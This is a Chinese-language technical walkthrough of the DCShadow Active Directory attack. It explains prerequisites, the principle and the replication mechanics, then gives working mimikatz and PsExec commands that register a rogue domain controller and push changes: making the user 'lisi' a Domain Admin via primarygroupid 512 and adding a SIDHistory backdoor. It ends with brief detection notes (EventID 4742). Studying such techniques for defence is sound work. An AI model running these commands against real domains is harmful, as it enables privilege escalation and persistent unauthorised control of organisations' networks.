前提条件
DCShadow使用的前提是需要拥有Domain Admins也就是域管权限,因为要注册SPN值等操作
原理
在具备域管理员的情况下,攻击者可以创建伪造的域控,将预先设定的对象或者对象属性复制到正在运行的域服务器中,
DCSync和DCShadow的区别
前者是从服务器复制东西出来,后者是将指定(伪造)的数据复制进域控中
攻击步骤
通过dcshadow更改配置架构和注册spn从而实现在目标AD活动目录内注册一个伪造的DC
让伪造的DC被其他的DC认可,能够参加域负复制
在伪造的DC上更改数据
强制触发域复制,使得指定的新对象或修改后的属性能够同步进入其他的DC中
注册伪造的DC
机器想要注册成为域内的一台DC,需要在域内活动目录中注册一个NTDS-DSA(nTDSDSA)类对象,位置如下:
mimikatz命令执行后,虽然会创建一个新的NTDS-DSA(nTDSDSA)对象,但是会自删除,
CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=<>,DC=<>
而且此处创建时利用RPC方法,不是使用ldap协议,需要查看权限确认是否足够
第一个窗口,需要获取到system权限,可以利用mimikatz的驱动
mimikatz命令如下
#注册并启动一个具有system权限的任务
!+
#获得从服务器到当前mimikatz会话的system令牌
!processtoken
#查看当前令牌权限
token::whoami
第二个窗口,需要域管权限,可借助psexec
PsExec.exe -u byjb.com\admin cmd
尝试推送&复制【一定要关闭测试机的防火墙,不然会卡在RPC等待】
#第一个窗口进行数据更改与监听
lsadump::dcshadow /object:CN=lisi,CN=Users,DC=byjb,DC=com /attribute:description /value:"ceshiyixia"
#第二个窗口进行域复制
mimikatz.exe "lsadump::dcshadow /push"
效果
利用上述方式将lisi注册为域管
组id对应关系:
512 Domain Admins
513 Domain Users
514 Domain Guests
515 Domain Computers
516 Domain Controllers
#第一个窗口进行数据更改与监听
lsadump::dcshadow /object:CN=lisi,CN=Users,DC=byjb,DC=com /attribute:primarygroupid /value:512
#第二个窗口进行域复制
mimikatz.exe "lsadump::dcshadow /push"
借助此操作可以添加SIdHistory后门
lsadump::dcshadow /object:CN=lisi,CN=Users,DC=byjb,DC=com /attribute:sidhistory /value:<S-1-5-21-****-500>
注册的DC被其他DC认可参与域复制
需要添加SPN,最小的权限集合是,DRS服务(GUID:E3514235-4B06-11D1-AB04-00C04FC2DCD2)和GS服务(Global Catalog)
DRS服务实现IDL_DRSBind、IDL_DRSUnbind、IDL_DRSGetNCChanges、IDL_DRSUpdateRefs的接口
强制触发域复制
负责域复制&同步的进程是KCC进程,默认时间15分钟,也可以使用windows域服务器自带的repadmin,将调用DRSReplicaAdd函数进行域复制,dcshadow就是通过DRSReplicaAdd函数强制发起域复制
日志信息
Windows EventID = 4742
行为特征
攻击机上有域管的用户文件夹
注:此文章参考了很多的网络上的其他文章!!!